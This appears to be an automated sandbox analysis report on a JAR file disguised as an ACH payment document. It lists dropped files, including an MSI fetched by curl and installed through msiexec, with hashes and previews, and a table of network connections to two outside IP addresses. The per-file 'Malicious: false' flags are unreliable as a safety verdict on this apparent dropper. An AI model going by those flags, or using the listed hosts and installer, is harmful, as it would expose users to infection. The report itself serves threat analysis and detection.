File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: This setup package will Install MSD Setup version 3.5.0, Author: MSD Setup, Keywords: Installer, Comments: This installer database contains the logic and data required to install MSD Setup., Template: Intel;1033, Revision Number: {D59C64C0-985A-437E-9F88-C578DBDDC731}, Create Time/Date: Tue Apr 23 10:56:26 2024, Last Saved Time/Date: Tue Apr 23 10:56:26 2024, Number of Pages: 200, Number of Words: 10, Name of Creating Application: Windows Installer XML Toolset (3.11.0.1528), Security: 2
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	3.790831399963701
Encrypted:	false
SSDEEP:	384:nzxSDkMI5kI0ey3M5sCJx5Pey3M5sC0qoXoCHo:/MS4eWMmCxeWMmC
MD5:	00A9FA63E6253CB5F8F8448281DDD054
SHA1:	083C7BF52727EDFFA8160308C677B4DA8A4F7815
SHA-256:	C76014007BA73EFC85FD7B1D9E9BCED4EA66DA7C4CF4DD1560EC0CF02361FC5B
SHA-512:	BED03ACA4562187AB1AA818AA8C53474982C84F5F6E5B0331A2AF4FEB51D5BC7B1AC1D495040DCD2B572827D019FA3FF04D808011FEBC9FC52113B93587CB7A5
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIF45E.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	2623
Entropy (8bit):	5.699060132912315
Encrypted:	false
SSDEEP:	48:Bn2Fb6bwZyP3EIIwLD8SeGeUHpnXiKu5xgunEVltN3+di:Bn2F6bT8U1eGegS7HjnEP/OI
MD5:	3269F3DF4100274FDCBFD7B17C75D0B9
SHA1:	840351139B284D9D712B239C4E302F786CD327DB
SHA-256:	339D0669F28568C5D963293702DE08618903F7B834BE5DC1E9567E7D57F8F85D
SHA-512:	FFA8FC6EB84EAF65CA2611D4BDF9CAF58E837BC1B1CF9DFEFCA24BF51D2C960B4D13186784B780DD326ABFAB96FA45D46169EAC1A2D003B17CAE75F350E657E7
Malicious:	false
Preview:	...@IXOS.@.....@..X.@.....@.....@.....@.....@.....@......&.{5388A5D6-8B37-4242-B64C-4D72F236B407}..MSD Setup..aHPCrYM1.msi.@.....@.....@.....@........&.{D59C64C0-985A-437E-9F88-C578DBDDC731}.....@.....@.....@.....@.......@.....@.....@.......@......MSD Setup......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration.....@.....@.....@.]....&.{5388A5D6-8B37-4242-B64C-4D728033EE88}..C:\ProgramData\.@.......@.....@.....@......&.{5388A5D6-8B37-4242-B64C-4D72F511202A}..C:\ProgramData\lgp\.@.......@.....@.....@......&.{5388A5D6-8B37-4242-B64C-4D7245AF011A}..C:\ProgramData\lgp\sjm.@.......@.....@.....@......&.{5388A5D6-8B37-4242-B64C-4D7288057524}..01:\Software\WixSharp\Used\.@.......@.....@.....@......&.{5388A5D6-8B37-4242-B64C-4D7235B6147A}..C:\.@.......@.....@.....@........CreateFolders..Creating folders..Folder: [1]"...C:\ProgramData\.@...."...C:\ProgramData\lgp\.@....".!.C:\Users\user\Ap

C:\Windows\Installer\SourceHash{5388A5D6-8B37-4242-B64C-4D72F236B407}

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.1633518372921656
Encrypted:	false
SSDEEP:	12:JSbX72Fj4iAGiLIlHVRpfh/7777777777777777777777777vDHFfmdBwrYNtpwz:JpQI5byBwrY3F
MD5:	1CAE4913B47B8237F0E22733B0A8C8A1
SHA1:	6B1B552DACF59A5F7FB475CD6DA9AFE27B0F3BDB
SHA-256:	AE4384148A3E47AAEB62E75C2B47B603EC83F0AFDE3772A6A081E93EEEFE8A93
SHA-512:	367595290CD95AA35DA15FA24ABFB6F1C1B06A41E0E2755887B0A561AF94F2DFD16D4BD720D6CACA5F447A1B7E0D79EB14A66AA58F183CE2A91CB8298685F471
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\inprogressinstallinfo.ipi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.447385351856262
Encrypted:	false
SSDEEP:	48:18PhpuRc06WXOsjT52yVfuqES5qdarbESIbX:Yhp1qjThin3
MD5:	376B3CC4566E0B2B3181BAEB4D271964
SHA1:	E0335E81A7C82C01FA92B20B8E8EE05D9E123D4A
SHA-256:	E81A6D2D53553BF16FAEA8FB03AFF379203147A97EA06E9F2A10E9057D1C6546
SHA-512:	FC1B03C6AB4BA10192054BE2431D087632DAD74EF70D82B070A36EEC5D980731918DA5084550CB6C000F3BABAC1515E557AA21BDEEBBAE39495AA55DA726A37C
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	360001
Entropy (8bit):	5.362967562609411
Encrypted:	false
SSDEEP:	1536:6qELG7gK+RaOOp3LCCpfmLgYI66xgFF9Sq8K6MAS2OMUHl6Gin327D22A26Kgaus:zTtbmkExhMJCIpE9
MD5:	D8871E5515B4480F87408FFB86A1AF2C
SHA1:	0B3625D0E164C2E17D951B9FE6B8E96A490430F0
SHA-256:	9EDED579F305BC1F25DB46142587024C47855B7744CD363101221201CBC14DC1
SHA-512:	F7E0F70C4603C32D2A0FE8656ADE6F118F9473FB6B8019E6BB6A618DFF90B67A9E12FF134ACBFA5EDC3B7970952879130C0AC37A41565DEE3BDE7C0AFA52A206
Malicious:	false
Preview:	.To learn about increasing the verbosity of the NGen log files please see http://go.microsoft.com/fwlink/?linkid=210113..12/07/2019 14:54:22.458 [5488]: Command line: D:\wd\compilerTemp\BMT.200yuild.1bk\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe executeQueuedItems /nologo ..12/07/2019 14:54:22.473 [5488]: Executing command from offline queue: install "System.Runtime.WindowsRuntime.UI.Xaml, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=msil" /NoDependencies /queue:1..12/07/2019 14:54:22.490 [5488]: Executing command from offline queue: install "System.Web.ApplicationServices, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=msil" /NoDependencies /queue:3..12/07/2019 14:54:22.490 [5488]: Exclusion list entry found for System.Web.ApplicationServices, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=msil; it will not be installed..12/07/2019 14:54:22.490 [

C:\Windows\Temp\~DF038DB82E145104A8.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.447385351856262
Encrypted:	false
SSDEEP:	48:18PhpuRc06WXOsjT52yVfuqES5qdarbESIbX:Yhp1qjThin3
MD5:	376B3CC4566E0B2B3181BAEB4D271964
SHA1:	E0335E81A7C82C01FA92B20B8E8EE05D9E123D4A
SHA-256:	E81A6D2D53553BF16FAEA8FB03AFF379203147A97EA06E9F2A10E9057D1C6546
SHA-512:	FC1B03C6AB4BA10192054BE2431D087632DAD74EF70D82B070A36EEC5D980731918DA5084550CB6C000F3BABAC1515E557AA21BDEEBBAE39495AA55DA726A37C
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF165C3EF9705925E4.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF2B96C09185FA214E.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF32A04107112E9A4B.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.1680558789048523
Encrypted:	false
SSDEEP:	48:48RuEZGMLFXOHT5jyVfuqES5qdarbESIbX:dRb6Tyin3
MD5:	3A26C13F953441ABDF5035B1614604A5
SHA1:	EEB8CCA04D4CC57EFF5551381866A1E959D3924F
SHA-256:	08066BB332B74811A53F5B677339FAC578FD229E65348B6CA4D76BEBBB103303
SHA-512:	7938A1956B8A81FAAD538529A43998000040B26CA301C0BC8CBAEC72839D2B32D4AE75574D0D8F9F12649A9B0330BFA6584EDDA652535D1B2565B8A8F3709D50
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF3D7219F5911854F7.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF5EE5930C625E6338.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	0.09653132632198395
Encrypted:	false
SSDEEP:	24:A71n+EipVc+EipV7VgdNwGElrkgnV+gZtUo:A71+ESFES5qdarnVfT5
MD5:	F8747BE20F23A498F57B865E8ABAB2F1
SHA1:	C2502100F0A3A550441F3030263ABD3D24E1742D
SHA-256:	32780360A363AF507615D4090E28FAC9CFFE3CDA3187EBBCEBFCB6724754E095
SHA-512:	FA56832D3816DF6CD385D7EB4E4764D220F4950CE2AADC8F26F740EB99A88AA8518550D1D99E092E3CE4F138989CB820C8C40A3FB0C93539D89317F14238C620
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF86EB1E75F831F209.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.1680558789048523
Encrypted:	false
SSDEEP:	48:48RuEZGMLFXOHT5jyVfuqES5qdarbESIbX:dRb6Tyin3
MD5:	3A26C13F953441ABDF5035B1614604A5
SHA1:	EEB8CCA04D4CC57EFF5551381866A1E959D3924F
SHA-256:	08066BB332B74811A53F5B677339FAC578FD229E65348B6CA4D76BEBBB103303
SHA-512:	7938A1956B8A81FAAD538529A43998000040B26CA301C0BC8CBAEC72839D2B32D4AE75574D0D8F9F12649A9B0330BFA6584EDDA652535D1B2565B8A8F3709D50
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF89B53ECD342FBFE9.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	1.1680558789048523
Encrypted:	false
SSDEEP:	48:48RuEZGMLFXOHT5jyVfuqES5qdarbESIbX:dRb6Tyin3
MD5:	3A26C13F953441ABDF5035B1614604A5
SHA1:	EEB8CCA04D4CC57EFF5551381866A1E959D3924F
SHA-256:	08066BB332B74811A53F5B677339FAC578FD229E65348B6CA4D76BEBBB103303
SHA-512:	7938A1956B8A81FAAD538529A43998000040B26CA301C0BC8CBAEC72839D2B32D4AE75574D0D8F9F12649A9B0330BFA6584EDDA652535D1B2565B8A8F3709D50
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DF8C64761B64534E51.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.447385351856262
Encrypted:	false
SSDEEP:	48:18PhpuRc06WXOsjT52yVfuqES5qdarbESIbX:Yhp1qjThin3
MD5:	376B3CC4566E0B2B3181BAEB4D271964
SHA1:	E0335E81A7C82C01FA92B20B8E8EE05D9E123D4A
SHA-256:	E81A6D2D53553BF16FAEA8FB03AFF379203147A97EA06E9F2A10E9057D1C6546
SHA-512:	FC1B03C6AB4BA10192054BE2431D087632DAD74EF70D82B070A36EEC5D980731918DA5084550CB6C000F3BABAC1515E557AA21BDEEBBAE39495AA55DA726A37C
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFB7E94AAC73192A94.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.07032346146214677
Encrypted:	false
SSDEEP:	6:2/9LG7iVCnLG7iVrKOzPLHKOfF0BdqcBwrYXRNt4Vky6lw:2F0i8n0itFzDHFfmdBwrYdw
MD5:	5CCD829441019A4496FC21D260E14221
SHA1:	FF837915A3CF7DB9ED6BE7F00AFE63A384FEEDCE
SHA-256:	BF07AF8DDFCF4B0A9303013B1B8E5A819DE6A04EA3F667A42D07ACBA7576F9B7
SHA-512:	5014597CA39E28648EA5EA9933D415E7D2E22691AE16722D406623A325A6A6CF6ECEE306FFD76693368A0B2EDD68184E67852332092EE815DF7E42202CCBEB49
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFE10EA429A44556AB.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\~DFE1FFE766D8E9718D.TMP

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\downloads\aHPCrYM1.msi

Download File

Process:	C:\Windows\SysWOW64\curl.exe
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: This setup package will Install MSD Setup version 3.5.0, Author: MSD Setup, Keywords: Installer, Comments: This installer database contains the logic and data required to install MSD Setup., Template: Intel;1033, Revision Number: {D59C64C0-985A-437E-9F88-C578DBDDC731}, Create Time/Date: Tue Apr 23 10:56:26 2024, Last Saved Time/Date: Tue Apr 23 10:56:26 2024, Number of Pages: 200, Number of Words: 10, Name of Creating Application: Windows Installer XML Toolset (3.11.0.1528), Security: 2
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	3.790831399963701
Encrypted:	false
SSDEEP:	384:nzxSDkMI5kI0ey3M5sCJx5Pey3M5sC0qoXoCHo:/MS4eWMmCxeWMmC
MD5:	00A9FA63E6253CB5F8F8448281DDD054
SHA1:	083C7BF52727EDFFA8160308C677B4DA8A4F7815
SHA-256:	C76014007BA73EFC85FD7B1D9E9BCED4EA66DA7C4CF4DD1560EC0CF02361FC5B
SHA-512:	BED03ACA4562187AB1AA818AA8C53474982C84F5F6E5B0331A2AF4FEB51D5BC7B1AC1D495040DCD2B572827D019FA3FF04D808011FEBC9FC52113B93587CB7A5
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	Java archive data (JAR)
Entropy (8bit):	7.990275455453389
TrID:	Java Archive (13504/1) 62.80% ZIP compressed archive (8000/1) 37.20%
File name:	23-April-24-ACH-7fa67756.jar
File size:	48'935 bytes
MD5:	7f75fe01e92534899449d5191d586045
SHA1:	a26a267dac7dfc8b8feda0a190dc845ad4f6f0ca
SHA256:	2e0c02a54421ab2ba82705e261919e34e4109ceb660274a1fd8b3ca25cb60371
SHA512:	9b240cdb3d6a00821ef03c749807a3eaea5c1b065f7f88f94c5904a64f94d276a31efefb0a301549744f67a42e3dd8389a6a1d057ff1fd09a942b1b3dd5925bf
SSDEEP:	768:s2quUO5gEeRU+aD+QusAXK9wEglRozyt8VomdfeBTcdgknm2+N9Utl:s2RvWayh9owEREmYBgnm2+y
TLSH:	9323F2B666D1D8AEC906FE383D1CAE29CA0E514E0C7645B734693A51673B30F2B75442
File Content Preview:	PK........M..X................META-INF/......PK..............PK........M..X................META-INF/MANIFEST.MF.M..LK-...K-....R0.3...M...u.I,..R.4.t.....r.JM,IM.u..3.3.3S../JL.IUp././J,.........PK..nb.5X...X...PK........N..X................Y49AzuUN.c

File Icon


Icon Hash:	d08c8e8ea2868a54

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 23, 2024 17:45:55.440886021 CEST	49708	443	192.168.2.9	172.67.168.231
Apr 23, 2024 17:45:55.440924883 CEST	443	49708	172.67.168.231	192.168.2.9
Apr 23, 2024 17:45:55.441066980 CEST	49708	443	192.168.2.9	172.67.168.231
Apr 23, 2024 17:45:55.522304058 CEST	49708	443	192.168.2.9	172.67.168.231
Apr 23, 2024 17:45:55.522321939 CEST	443	49708	172.67.168.231	192.168.2.9
Apr 23, 2024 17:45:55.752340078 CEST	443	49708	172.67.168.231	192.168.2.9
Apr 23, 2024 17:45:55.752464056 CEST	49708	443	192.168.2.9	172.67.168.231
Apr 23, 2024 17:45:55.756596088 CEST	49708	443	192.168.2.9	172.67.168.231
Apr 23, 2024 17:45:55.756622076 CEST	443	49708	172.67.168.231	192.168.2.9
Apr 23, 2024 17:45:55.757036924 CEST	443	49708	172.67.168.231	192.168.2.9
Apr 23, 2024 17:45:55.764293909 CEST	49708	443	192.168.2.9	172.67.168.231
Apr 23, 2024 17:45:55.808129072 CEST	443	49708	172.67.168.231	192.168.2.9
Apr 23, 2024 17:45:56.422650099 CEST	443	49708	172.67.168.231	192.168.2.9
Apr 23, 2024 17:45:56.422713041 CEST	443	49708	172.67.168.231	192.168.2.9
Apr 23, 2024 17:45:56.422753096 CEST	443	49708	172.67.168.231	192.168.2.9
Apr 23, 2024 17:45:56.422786951 CEST	443	49708	172.67.168.231	192.168.2.9
Apr 23, 2024 17:45:56.422853947 CEST	49708	443	192.168.2.9	172.67.168.231
Apr 23, 2024 17:45:56.422859907 CEST	443	49708	172.67.168.231	192.168.2.9
Apr 23, 2024 17:45:56.422894955 CEST	443	49708	172.67.168.231	192.168.2.9
Apr 23, 2024 17:45:56.422933102 CEST	49708	443	192.168.2.9	172.67.168.231
Apr 23, 2024 17:45:56.422933102 CEST	49708	443	192.168.2.9	172.67.168.231
Apr 23, 2024 17:45:56.422971010 CEST	443	49708	172.67.168.231	192.168.2.9
Apr 23, 2024 17:45:56.472589016 CEST	49708	443	192.168.2.9	172.67.168.231
Apr 23, 2024 17:45:56.472604036 CEST	443	49708	172.67.168.231	192.168.2.9
Apr 23, 2024 17:45:56.519515991 CEST	49708	443	192.168.2.9	172.67.168.231
Apr 23, 2024 17:45:56.524460077 CEST	443	49708	172.67.168.231	192.168.2.9
Apr 23, 2024 17:45:56.524632931 CEST	443	49708	172.67.168.231	192.168.2.9
Apr 23, 2024 17:45:56.524697065 CEST	49708	443	192.168.2.9	172.67.168.231
Apr 23, 2024 17:45:56.524724007 CEST	443	49708	172.67.168.231	192.168.2.9
Apr 23, 2024 17:45:56.524931908 CEST	443	49708	172.67.168.231	192.168.2.9
Apr 23, 2024 17:45:56.525017977 CEST	443	49708	172.67.168.231	192.168.2.9
Apr 23, 2024 17:45:56.525028944 CEST	49708	443	192.168.2.9	172.67.168.231
Apr 23, 2024 17:45:56.525038958 CEST	443	49708	172.67.168.231	192.168.2.9
Apr 23, 2024 17:45:56.525197029 CEST	443	49708	172.67.168.231	192.168.2.9
Apr 23, 2024 17:45:56.525279999 CEST	49708	443	192.168.2.9	172.67.168.231
Apr 23, 2024 17:45:56.525289059 CEST	443	49708	172.67.168.231	192.168.2.9
Apr 23, 2024 17:45:56.525613070 CEST	49708	443	192.168.2.9	172.67.168.231
Apr 23, 2024 17:45:56.525619984 CEST	443	49708	172.67.168.231	192.168.2.9
Apr 23, 2024 17:45:56.525722980 CEST	443	49708	172.67.168.231	192.168.2.9
Apr 23, 2024 17:45:56.525863886 CEST	443	49708	172.67.168.231	192.168.2.9
Apr 23, 2024 17:45:56.525930882 CEST	49708	443	192.168.2.9	172.67.168.231
Apr 23, 2024 17:45:56.525938988 CEST	443	49708	172.67.168.231	192.168.2.9
Apr 23, 2024 17:45:56.526005030 CEST	49708	443	192.168.2.9	172.67.168.231
Apr 23, 2024 17:45:56.526012897 CEST	443	49708	172.67.168.231	192.168.2.9
Apr 23, 2024 17:45:56.526587009 CEST	443	49708	172.67.168.231	192.168.2.9
Apr 23, 2024 17:45:56.526676893 CEST	443	49708	172.67.168.231	192.168.2.9
Apr 23, 2024 17:45:56.526747942 CEST	49708	443	192.168.2.9	172.67.168.231
Apr 23, 2024 17:45:56.526756048 CEST	443	49708	172.67.168.231	192.168.2.9
Apr 23, 2024 17:45:56.526840925 CEST	443	49708	172.67.168.231	192.168.2.9
Apr 23, 2024 17:45:56.526846886 CEST	49708	443	192.168.2.9	172.67.168.231
Apr 23, 2024 17:45:56.526904106 CEST	443	49708	172.67.168.231	192.168.2.9
Apr 23, 2024 17:45:56.527096033 CEST	443	49708	172.67.168.231	192.168.2.9
Apr 23, 2024 17:45:56.527228117 CEST	49708	443	192.168.2.9	172.67.168.231
Apr 23, 2024 17:45:56.544332027 CEST	49708	443	192.168.2.9	172.67.168.231
Apr 23, 2024 17:45:56.544363976 CEST	443	49708	172.67.168.231	192.168.2.9
Apr 23, 2024 17:46:20.890064001 CEST	49712	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:46:21.010886908 CEST	80	49712	64.95.10.191	192.168.2.9
Apr 23, 2024 17:46:21.011116028 CEST	49712	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:46:21.011342049 CEST	49712	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:46:21.132297039 CEST	80	49712	64.95.10.191	192.168.2.9
Apr 23, 2024 17:46:21.196289062 CEST	80	49712	64.95.10.191	192.168.2.9
Apr 23, 2024 17:46:21.238277912 CEST	49712	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:46:26.197731972 CEST	80	49712	64.95.10.191	192.168.2.9
Apr 23, 2024 17:46:26.197849035 CEST	49712	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:46:28.508523941 CEST	49712	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:46:28.508759975 CEST	49713	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:46:28.629076958 CEST	80	49712	64.95.10.191	192.168.2.9
Apr 23, 2024 17:46:28.629131079 CEST	80	49713	64.95.10.191	192.168.2.9
Apr 23, 2024 17:46:28.629259109 CEST	49713	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:46:28.629365921 CEST	49713	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:46:28.750658989 CEST	80	49713	64.95.10.191	192.168.2.9
Apr 23, 2024 17:46:28.790913105 CEST	80	49713	64.95.10.191	192.168.2.9
Apr 23, 2024 17:46:28.832134962 CEST	49713	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:46:33.791681051 CEST	80	49713	64.95.10.191	192.168.2.9
Apr 23, 2024 17:46:33.791831970 CEST	49713	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:46:35.200719118 CEST	49714	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:46:35.201412916 CEST	49713	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:46:35.321587086 CEST	80	49714	64.95.10.191	192.168.2.9
Apr 23, 2024 17:46:35.321657896 CEST	80	49713	64.95.10.191	192.168.2.9
Apr 23, 2024 17:46:35.321685076 CEST	49714	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:46:35.321919918 CEST	49714	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:46:35.442596912 CEST	80	49714	64.95.10.191	192.168.2.9
Apr 23, 2024 17:46:35.484164000 CEST	80	49714	64.95.10.191	192.168.2.9
Apr 23, 2024 17:46:35.535264015 CEST	49714	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:46:40.485574961 CEST	80	49714	64.95.10.191	192.168.2.9
Apr 23, 2024 17:46:40.485661030 CEST	49714	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:46:41.932065010 CEST	49714	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:46:41.932389975 CEST	49715	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:46:42.054847002 CEST	80	49715	64.95.10.191	192.168.2.9
Apr 23, 2024 17:46:42.055022001 CEST	49715	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:46:42.055124044 CEST	80	49714	64.95.10.191	192.168.2.9
Apr 23, 2024 17:46:42.055190086 CEST	49715	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:46:42.175537109 CEST	80	49715	64.95.10.191	192.168.2.9
Apr 23, 2024 17:46:42.202147961 CEST	80	49715	64.95.10.191	192.168.2.9
Apr 23, 2024 17:46:42.253956079 CEST	49715	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:46:47.203712940 CEST	80	49715	64.95.10.191	192.168.2.9
Apr 23, 2024 17:46:47.203958988 CEST	49715	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:46:48.684691906 CEST	49715	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:46:48.685022116 CEST	49716	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:46:48.805479050 CEST	80	49715	64.95.10.191	192.168.2.9
Apr 23, 2024 17:46:48.807884932 CEST	80	49716	64.95.10.191	192.168.2.9
Apr 23, 2024 17:46:48.808060884 CEST	49716	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:46:48.808165073 CEST	49716	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:46:48.931015015 CEST	80	49716	64.95.10.191	192.168.2.9
Apr 23, 2024 17:46:48.950421095 CEST	80	49716	64.95.10.191	192.168.2.9
Apr 23, 2024 17:46:49.003983974 CEST	49716	80	192.168.2.9	64.95.10.191
Apr 23, 2024 17:46:53.952581882 CEST	80	49716	64.95.10.191	192.168.2.9
Apr 23, 2024 17:46:53.956263065 CEST	49716	80	192.168.2.9	64.95.10.191
